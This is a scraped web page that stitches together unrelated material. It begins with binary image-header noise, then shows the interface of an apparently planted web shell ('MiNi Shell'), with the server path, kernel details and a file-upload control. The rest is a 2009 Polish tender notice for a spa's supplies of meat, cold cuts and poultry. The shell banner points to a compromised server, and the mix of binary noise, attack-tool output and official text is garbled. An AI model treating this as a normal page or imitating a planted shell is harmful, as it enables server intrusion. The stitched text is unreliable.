JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20090604/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20090604/86739-N-2009.html

<p class="kh_header"><b>Szczawno Zdrój: Dostawa mięsa, wędlin, drobiu oraz podrobów do Punktów Żywienia 
Uzdrowiska Szczawno - Jedlina S.A. w Szczawnie Zdroju.</b><br>
<b>Numer ogłoszenia: 86739 - 2009; data zamieszczenia: 04.06.2009</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Uzdrowisko Szczawno-Jedlina S.A. , ul. Ratuszowa 1, 58-310 Szczawno Zdrój, woj. dolnośląskie, tel. 074 8493201, faks 074 8436764.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.uzdrowisko.szczawno-jedlina.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Podmiot prawa publicznego.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Dostawa mięsa, wędlin, drobiu oraz podrobów do Punktów Żywienia 
Uzdrowiska Szczawno - Jedlina S.A. w Szczawnie Zdroju..</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest dostawa mięsa, wędlin, drobiu oraz podrobów 
do Punktów żywienia Uzdrowiska Szczawno-Jedlina S.A. w Szczawnie Zdroju.
Przedmiot zamówienia został podzielony na trzy Zadania:
Zadanie 1	Dostawa mięsa i produktów mięsnych oraz podrobów; 
Zadanie 2	Dostawa wędlin;
Zadanie 3	Dostawa drobiu i mięsa drobiowego, wędlin i podrobów drobiowych.
3.Szczegółowe zestawienie asortymentowe zamawianych produktów zawarte jest w załącznikach do opisu przedmiotu zamówienia.
4.Użyte w załącznikach nazwy własne (towaru lub producenta) oznaczają, że oferowany produkt powinien być równoważny do wskazanych, tzn. powinien posiadać porównywalną wartość odżywczą i energetyczną oraz zawartość składników, a także posiadać nie gorsze cechy jakościowe w zakresie wydajności oraz zbliżone walory smakowe.
5.Zamawiający oszacował zapotrzebowanie na wymienione produkty na okres 12 miesięcy. Ilości te (podane w załącznikach) stanowią wartość szacunkową, co oznacza, że ostateczna ilość zamawiana na podstawie umowy może ulec zmianie.
6. Zamawiający będzie zamawiał wyroby sukcesywnie, od poniedziałku do soboty w godzinach od 6:00 do 14:00 w ilościach i asortymencie zależnym od potrzeb (na żądanie Zamawiającego).
7.W wszystkie produkty muszą posiadać niezbędne dokumenty badań i dopuszczenia do obrotu oraz certyfikaty i atesty wymagane stosownymi przepisami i normami.
8.Wykonawca do realizacji dostaw zapewnia środek transportu przystosowany do przewozu artykułów stanowiących przedmiot zamówienia. Pojemniki transportowe plastykowe, z pokrywami, czyste, bez obcych zapachów, pojemniki powinny być dopuszczone do kontaktu z żywnością, zapewniając zachowanie właściwej jakości artykułów w czasie transportu.
9.Wszelkie koszty realizacji przedmiotu umowy, w szczególności koszty opakowania, przesłania, załadunku, rozładunku i ubezpieczenia ponosi Wykonawca.
10.Wymagania wspólne dla asortymentu z Zadania 1:
czystość - mięso czyste, bez śladów zanieczyszczeń ciałami obcymi, dobrze wykrwawione;
konsystencja - jędrna, elastyczna, odkształcająca się;
smak i zapach - swoisty, charakterystyczny dla mięsa, bez oznak zaparzenia i zepsucia, nie dopuszczalny zapach płciowy lub moczowy;
barwa - od jasnoczerwonej do ciemnoczerwonej;
mięso oznakowane przez lekarza weterynarii - zdatne do spożycia, ze sztuk zdrowych;
mięso wołowe z bydła młodego (jałówek, wolców, buhajków);
mięso wieprzowe nie pochodzące z knurów i loch;
11.Wymagania wspólne dla asortymentu z Zadania 2
klasa I, świeże, wystudzone, powierzchnia sucha, osłonka ściśle przylegająca, równomiernie pomarszczona. Niedopuszczalne zacieki tłuszczu i galarety pod osłonką, jej pęknięcia i wyciek farszu, w osłonkach naturalnych lub sztucznych, w odcinkach krótkich 10-15 cm, bądź wg zamówienia wagowego, np. 50 g, 100 g, 150 g;
Wymagania wspólne dla asortymentu z Zadania 3:
Mięso drobiowe w elementach z kością :
Elementy właściwie umięśnione; nie dopuszcza się mięśni i skóry nie związanych ze sobą;
linie cięcia równe, gładkie; w asortymentach ze skrzydłami dopuszcza się brak ostatniego członu skrzydła;
połówka oraz ćwiartka przednia może być z szyja lub bez szyi;
Barwa charakterystyczna, naturalna dla skóry i mięśni danego gatunku drobiu;
nie dopuszcza się wylewów krwawych w mięśniach piersi i nóg;
dopuszcza się przyciemnienie naturalnej barwy powierzchni elementów mrożonych;
dopuszcza się lekkie zaczerwienienie ostatniego członu skrzydła.
Mięso drobiowe w elementach bez kości:
Mięśnie piersiowe pozbawione skóry (z wyjątkiem piersi bez kości) kości i ścięgien;
dopuszcza się niewielkie rozerwania i nacięcia mięśni powstałe podczas oddzielania od skóry i kośćca
Barwa naturalna, charakterystyczna dla mięśni piersiowych danego gatunku drobiu
nie dopuszcza się wylewów krwawych w mięśniach;
dopuszcza się przyciemnienie naturalnej barwy powierzchni mięśni elementów mrożonych.
Zapach naturalny, charakterystyczny dla mięsa danego gatunku drobiu; niedopuszczalny zapach obcy, zapach świadczący o procesach rozkładu mięsa przez drobnoustroje oraz zapach zjełczałego tłuszczu.

Zadanie 1. Dostawa mięsa i produktów mięsnych oraz podrobów.

L.p.	Produkt	CPV	Polska Norma	Opis	ilość [kg]
1.	Flaki wieprzowe, krojone, blanszowane	15113000-3	PN-A-82011	Zgodne z normą, opakowanie pierwotne- worki PAPE (pakowane w modyfikowanej atmosferze)	70
2.	Mięso gulaszowe wieprzowe	15113000-3	PN-A-82011	Zgodne z normą	600
3.	Flaki wołowe krojone luz - blanszowane	15114000-0	PN 86/A82004	Zgodne z normą, opakowanie pierwotne- worki PAPE (pakowane w modyfikowanej atmosferze	100
4.	Flaki wołowe, krojone, mrożone	15114000-0	PN 86/A82004	Zgodne z normą, opakowanie pierwotne - worki PAPE (mrożone)	250
5.	Karkówka 
bez kości	15113000-3	PN 86/A82002	Element uzyskany zgodnie z normą ze sztuk młodych schłodzony, nie mrożony	1390
6.	Kaszanka	15131134-3	PN-A-82007;1996	Kaszanka z podrobów wieprzowych, w osłonce naturalnej - kiełbaśnicy, zawartość tłuszczu nie więcej niż 40%	720
7.	Krupniok	15131134-3	PN-A-82007;1996	Kaszanka z podrobów wieprzowych, w osłonkach sztucznych, poliamidowych zawartość tłuszczu nie więcej niż 40%	1240
8.	Łopatka bez kości	15113000-3	PN 86/A82002	Mięso z łopatki odtłuszczone oraz pozbawione ścięgien i tłuszczu śródmięśniowego	2850
9.	Mięso mielone	15110000-2	PN-A-82011	Produkty z mięsa i podrobów, wyroby garmażeryjne, mięso mieszane wieprzowe	250
10.	Pasztetowa	15131310-1	PN-A-82007;1996	Pasztetowa czysto wieprzowa w osłonce sztucznej, parzona, zawartość tłuszczu nie więcej niż 40%	280
11.	Pasztetowa 
wędzona	15131310-1	PN-A-82007;1996	Pasztetowa gotowana, wędzona, w skład zasadniczy której wchodzi 40% wieprzowiny kl.2, 25% wątroby wieprzowej lub cielęcej, 20% tłuszczu, 5% słoniny, 10% kaszy manny	220
12.	Salceson włoski	15131133-6	PN-A-82007;1996	Salceson gotowany czysto wieprzowy w osłonkach z tworzywa sztucznego zawartość tłuszczu nie więcej niż 35,5%	690
13.	Schab bez kości	15113000-3	PN 86/A82002	Mięso schłodzone, nie mrożone, spełniające wymagania normy	1600
14.	Szynka bez kości	15113000-3	PN 86/A82002	Mięso od szynki odtłuszczone oraz pozbawione ścięgien i tłuszczu śródmięśniowego	2755
15.	Słonina
	15412100-0	PN-86/A-82002	Zgodnie z normą	540
16.	Wątroba 
wieprzowa	15112300-0	PN-86/A-82004	Zgodnie z normą	1020
17.	Pachwina wieprzowa wędzona	15113000-8	PN-A-82007	Zgodnie z normą	300


Zadanie 2. Dostawa wędlin.

L.p.	Produkt	CPV	Polska Norma	Opis	ilość [kg]
1.	Kiełbasa biała parzona	15131133-6	PN-A-82007;1996	Średnio rozdrobniona surowa, wieprzowo (90%) - wołowa (10%), w osłonce naturalnej zawartość białka nie mniej niż 12%, tłuszcz nie więcej niż 30%, wody nie więcej niż 66%	680
2.	Kiełbasa podwawelska	15131133-6	PN-A-82007;1996	Średnio rozdrobniona wieprzowa, wędzona, parzona, w osłonce naturalnej - kiełbaśnicy, zawartość białka nie mniej niż 13%, tłuszczu nie więcej niż 35%	80
3.	Kiełbasa sucha
krakowska	15131133-6	PN-A-82028;2002	Grubo rozdrobniona, czysto wieprzowa podsuszana do uzyskania 65% wydajności w stosunku do surowca, zawartość białka nie mniej niż 18%, tłuszczu nie więcej niż 30%	510
4.	Kiełbasa szynkowa	15131133-6	PN-A-82007;1996	Grubo rozdrobniona, czysto wieprzowa w osłonce białkowej wędzona, parzona o zawartości białka nie mniejszej niż 16% i tłuszczu nie więcej niż 25%	2880
5.	Kiełbasa śląska	15131133-6	PN-A-82007;1996	Średnio rozdrobniona, wieprzowa, wędzona, parzona, w osłonce naturalnej kiełbaśnicy, zawartość białka nie mniej niż 13% ,tłuszczu nie więcej niż 35%	720
6.	Kiełbasa krakowska parzona	15131133-6	PN-A-82007:1996	Zgodnie z normą	1650
7.	Kiełbasa zwyczajna extra	15131130-5	PN-A-82007;1996	Zgodnie z normą	1100
8.	Mielonka tyrolska	15131133-6	PN-A-82007;1996	Średnio rozdrobniona wieprzowa, parzona, w osłonce poliamidowej, zawartość białka nie mniej niż 10%, tłuszczu nie więcej niż 30%	240
9.	Mortadela /
Mortadela wędzona	15131133-6	PN-A-82007;1996	Kiełbasa drobno rozdrobniona homogenizowana, wieprzowo (90%) - wołowa (10%), parzona, wędzona o zawartości białka nie mniej niż 10%, tłuszcz 35%	180
10.	Mortadela włoska /
Mortadela delikatesowa	15131133-6	PN-A-82007;1996	Kiełbasa drobno rozdrobniona homogenizowana; wieprzowo (90%) - wołowa (10%), parzona, zawartość białka nie mniej niż 10%, tłuszcz 35%	620
11.	Parówka cienka	15131133-6	PN-A-82007;1996	Drobno rozdrobniona homogenizowana czysto wieprzowa, wędzona, parzona, zawartość białka nie mniej niż 10%, tłuszczu nie więcej niż 35%	1140
12.	Polędwica sopocka wędzona	15131133-6	PN-A-82007;1996	Wędzonka wieprzowa całomięśniowa, otrzymywana ze schabu obrobionego, zawartość białka nie mniej niż 18%, tłuszczu nie więcej niż 8%	810
13.	Serdelki wieprzowe	15131135-0	PN-A-82007;1996	Drobno rozdrobniona homogenizowana czysto wieprzowa, wędzona, parzona, zawartość białka nie mniej niż 10%, tłuszczu nie więcej niż 35%	1030
14.	Szynka 
gotowana 
	15131133-6	PN-A-82007	Zgodnie z normą	2010
15.	Szynka konserwowa, śniadaniowa	15131133-6	PN-A-82007;1996	Szynka w bloku w skład której wchodzi mięso wieprzowe kl. I pochodzące tylko z trybowania szynek, zawartość białka nie mniej niż 14%, tłuszczu nie więcej niż 20%	1240
16.	Szynka wileńska,
blok mięsny	15131133-6	PN-A-82007;1996	Szynka w bloku w skład której wchodzi mięso wieprzowe kl. I pochodzące tylko z trybowania szynek, zawartość białka nie mniej niż 14%, tłuszczu nie więcej niż 20%	890
17.	Szynka mini	15131133-6	PN-A-82007;1996	Zgodnie z normą	650
18.	Szynka 
kanapkowa	15131133-6	PN-A-82007;1996	Zgodnie z normą	1950
19.	Blok mięsny-szynka tyrolska	15311133-6	PN-A-82007;1996	Średnio rozdrobniony, wieprzowo(80%) -wołowy (20%), parzony, w osłonce poliamidowej, zawartość białka nie mnie j niż 10%, tłuszczu nie więcej niż 30%	580
20.	Boczek wędzony	15131220-3	PN-A-82007;1996	Boczek wieprzowy, wędzony, surowy, bez widocznych złogów solanki	108
21	Boczek wędzony, parzony, extra	15131220-3	PN-A-82007;1996	Boczek wieprzowy, wędzony, parzony, bez widocznych złogów solanki	
22.	Kabanos wieprzowy	15131130-5	PN-A-82007	Zgodnie z normą	14
23. 	Ogonówka
	15131130-5	PN-A-82007	Zgodnie z normą	1000


Zadanie 3 Dostawa drobiu i mięsa drobiowego, wędlin i podrobów drobiowych.

L.p.	Produkt	CPV	Polska Norma	Opis	ilość [kg]
1.	Baleron drobiowy prasowany /
Wędzonka indycza	15131135-0	PN-A-86526;1996	Grubo rozdrobniony w skład którego wchodzi 100% mięsa z indyka, wędzony, parzony, zawartość białka nie mniej niż 16%, tłuszczu nie więcej niż 10%, w osłonce kolagenowej i siatce wędliniarskiej	690
2.	Filet z indyka	15112220-4	PN-92/A/86 522	Mięśnie piersiowe pozbawione skóry, kości i ścięgien, prawidłowo wykrwawione, bez przebarwień i uszkodzeń mechanicznych oraz bez zanieczyszczeń obcych oraz krwi	1550
3.	Filety z kurczaka - piersi bez kości	15112200-8	PN-A-86524	Mięśnie piersiowe pozbawione skóry, kości i ścięgien, prawidłowo wykrwawione, bez przebarwień i uszkodzeń mechanicznych oraz bez zanieczyszczeń obcych oraz krwi	5480
4.	Kiełbasa szynkowa drobiowa	15131135-0	PN-A-86526;1996	Grubo rozdrobniona, czysto drobiowa w osłonce białkowej wędzona, parzona o zawartości białka nie mniejszej niż 16% i tłuszczu nie więcej niż 10%	3060
5.	Kiełbasa śląska
drobiowa	15131135-0	PN-A-86526;1996	Grubo rozdrobniona, czysto drobiowa w osłonce białkowej wędzona ,parzona, podsuszana, zawartość białka nie mniej niż16%, tłuszczu nie więcej niż 10%	2320
6.	Kiełbasa żywiecka drobiowa	15131133-6	PN-A-86526;1996	Grubo rozdrobniona, czysto drobiowa w osłonce białkowej wędzona, parzona, podsuszana, zawartość białka nie mniej niż 16%, tłuszczu nie więcej niż 10%	2510
7.	Kurczak faszerowany	15131133-6	PN-A-86526;1996	Zgodnie z normą	420
8.	Kurczak świeży	15112130-6	PN-A-86520	Tuszka kurczaka patroszona, bez podrobów, schłodzona do temperatury -1 do +4, czysta, bez jakichkolwiek widocznych zanieczyszczeń obcych oraz krwi	3890
9.

	Mięso gulaszowe
z kurczaka	15112200-8	PN-92/A/86 522	Mięśnie piersiowe pozbawione skóry, kości i ścięgien, prawidłowo wykrwawione, bez przebarwień i uszkodzeń mechanicznych oraz bez zanieczyszczeń obcych oraz krwi	7600
10.	Mięso gulaszowe z indyka	15112200-8	PN-92/A/86 522	Mięśnie piersiowe pozbawione skóry, kości i ścięgien, prawidłowo wykrwawione, bez przebarwień i uszkodzeń mechanicznych oraz bez zanieczyszczeń obcych oraz krwi	1180
11.
	Parówka drobiowa	15131135-0	PN-A-82007;1996	Drobno rozdrobniona homogenizowana czysto drobiowa, wędzona, parzona w osłonce wiskozowej	1590
12.	Szynkówka drobiowa	15131135-0	PN-A-86526;1996	Grubo rozdrobniona w skład której wchodzi 100% mięsa z indyka, parzona, nie wędzona, zawartość białka nie mniej niż 16%, tłuszczu nie więcej niż 10%	2220
13.	Porcja rosołowa
	15113 200-8	PN-A-86524	Element uzyskany z rozbioru tuszki kurczaka, schłodzony bez przebarwień i u uszkodzeń mechanicznych oraz bez zanieczyszczeń obcych oraz krwi	4420
14.	Salceson drobiowy	15131135-0	PN-A-86526;1996	Salceson gotowany czysto drobiowy w osłonkach poliamidowych, zawartość białka nie mniej niż 9%, tłuszczu nie więcej niż 25%	300
15.	Pierś z indyka pieczona	1531135-0	PN-A-86526/A1	Zgodnie z normą	300
16.	Szynka z indyka	15131135-0	PN-A-86526;1996	Szynka w bloku w skład której wchodzi mięso drobiowe, zawartość białka nie mniej niż 16%, tłuszczu nie więcej niż 10%	1270
17.	Udko z kurczaka świeże	15112200-8	PN-A-86524	Uda właściwie umięśnione, linia cięta równa, nie dopuszcza się wylewów krwawych w mięśniach	1800
18.	Udo indycze z kością	15112200-8	PN-A-86524	Uda właściwie umięśnione, linia cięta równa, nie dopuszcza się wylewów krwawych w mięśniach	500.</p>
<p><b>II.1.4) Wspólny Słownik Zamówień (CPV):</b> 15.10.00.00-9, 15.11.00.00-2, 15.11.10.00-9, 15.13.11.30-5, 15.13.11.34-3, 15.13.11.35-0, 15.11.20.00-6, 15.11.21.00-7.</p>
<p><b>II.1.5) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 3.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.1.7) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p><p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 12.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WARUNKI DOTYCZĄCE ZAMÓWIENIA</b>
<p><b>III.2) WARUNKI UDZIAŁU</b></p>
<ul class="kh_indent_1"><li><b>Opis warunków udziału w postępowaniu oraz opis sposobu dokonywania oceny spełniania tych warunków:</b> O udzielenie zamówienia mogą ubiegać się Wykonawcy którzy:

	Posiadają uprawnienia do wykonywania określonej działalności lub czynności, jeżeli ustawy nakładają obowiązek posiadania takich uprawnień,
przedmiot zamówienia znajduje się w  zakresie jego działalności, a zakres ten wynika z zapisów właściwego rejestru  albo aktualnego  zaświadczenia o wpisie do ewidencji działalności gospodarczej,
wdraża lub stosuje  system HACCP;
przedstawi zaświadczenie podmiotu uprawnionego / decyzję właściwego organu  Inspekcji Weterynaryjnej  lub Państwowej Inspekcji Sanitarnej  stwierdzającej spełnienie wymagań koniecznych  do zapewnienia higieny  w procesie produkcji lub obrocie  oraz do zapewnienia jakości zdrowotnej produkowanych wyrobów spożywczych.  
Posiadają niezbędna wiedzę i doświadczenie oraz dysponujący potencjałem technicznym
i osobami zdolnymi do wykonania zamówienia lub przedstawią pisemne zobowiązanie innych podmiotów do udostępnienia potencjału technicznego i osób zdolnych do wykonania zamówienia,
Znajdują się w sytuacji ekonomicznej i finansowej zapewniającej wykonanie zamówienia;
Nie podlegają wykluczeniu z postępowania o udzielenie zamówienia na mocy art.24 ustawy
W okresie ostatnich 3 lat  Wykonawca wykonał co najmniej 2 usługi o charakterze zbliżonym do przedmiotu zamówienia, (a jeżeli okres prowadzenia działalności jest krótszy - to w tym okresie) i wartości nie mniejszej niż 150 tyś zł każda ..</li>
<li><b>Informacja o oświadczeniach i dokumentach, jakie mają dostarczyć wykonawcy w celu potwierdzenia spełniania warunków udziału w postępowaniu:</b> A) Dokumenty potwierdzające spełnienie warunków udziału w postępowaniu zakresie                   posiadanych uprawnień do wykonania określonej działalności lub czynności związanych z przedmiotem zamówienia:

1.	Oświadczenia Wykonawcy zgodnie ze wzorem ( Dokument nr 1)
2.	Aktualny odpis z właściwego rejestru albo aktualne zaświadczenie o wpisie do ewidencji działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub zgłoszenia do ewidencji działalności gospodarczej, wystawione nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert.

Jeżeli Wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej zamiast w/w dokumentu składa dokument lub dokumenty, wystawione w kraju, w którym ma siedzibę lub miejsce zamieszkania zgodnie z przepisami § 2 Rozporządzenia Prezesa Rady Ministrów z dnia 19 maja 2006 r. (Dz. U. Nr 87, poz. 605).

1.	Oświadczenie Wykonawcy o wprowadzeniu systemu HACCP  lub certyfikat potwierdzający  stosowanie  systemu HACCP.

2.	Decyzja właściwego organu  Inspekcji Weterynaryjnej  lub Państwowej Inspekcji Sanitarnej    stwierdzającej spełnienie wymagań koniecznych  do zapewnienia higieny  w procesie produkcji lub obrocie  oraz do zapewnienia jakości zdrowotnej produkowanych środków spożywczych.

B) Dokumenty potwierdzające spełnienie warunków udziału w postępowaniu w zakresie posiadanie niezbędnej wiedzy i doświadczenia oraz potencjału technicznego, a także że Wykonawca dysponuje osobami zdolnymi do wykonania zamówienia:

1.	Wykaz dokonanych usług wraz z załączonymi dokumentami potwierdzającymi ich staranne wykonanie. Wykaz musi zawierać listę co najmniej 2 usług o charakterze zbliżonym do przedmiotu zamówienia, które Wykonawca wykonał w okresie ostatnich 3 lat (a jeżeli okres prowadzenia działalności jest krótszy - to w tym okresie) i wartości nie mniejszej niż 150 tyś zł każda.

C) Dokumenty potwierdzające spełnienie warunków udziału w postępowaniu w zakresie sytuacji ekonomicznej i finansowej zapewniającej wykonanie zamówienia:

1. Polisa lub inny dokument ubezpieczenia potwierdzający, że Wykonawca jest ubezpieczony od odpowiedzialności cywilnej (deliktowej i kontaktowej) w zakresie prowadzonej działalności gospodarczej na sumę ubezpieczenia nie mniejszą jak 200.000,00 zł (słownie: dwieście tysięcy 00/100 zł).

D) Inne wymagane, niezbędne dokumenty:

1.	Zaparafowany wzór umowy.

2.	Pełnomocnictwo do działania w imieniu Wykonawcy w przypadku, gdy nie jest to osoba upoważniona do reprezentowania Wykonawcy z mocy prawa.

3.	W przypadku Wykonawców wspólnie ubiegających się o udzielenie zamówienia (konsorcjum, spółka cywilna) - Każdy z uczestników konsorcjum winien załączyć do oferty dokumenty wskazane w pkt. A1-A2, C1 z tym, że polisa może być wystawiona łącznie dla wszystkich Wykonawców.

4.	Zamawiający wymaga w stosunku do podmiotów (partnerów) aby każdy z nich oddzielnie udokumentował, że posiada uprawnienia do wykonywania działalności lub czynności, oraz że nie podlega wykluczeniu z postępowania na podst. Art.24 ustawy.

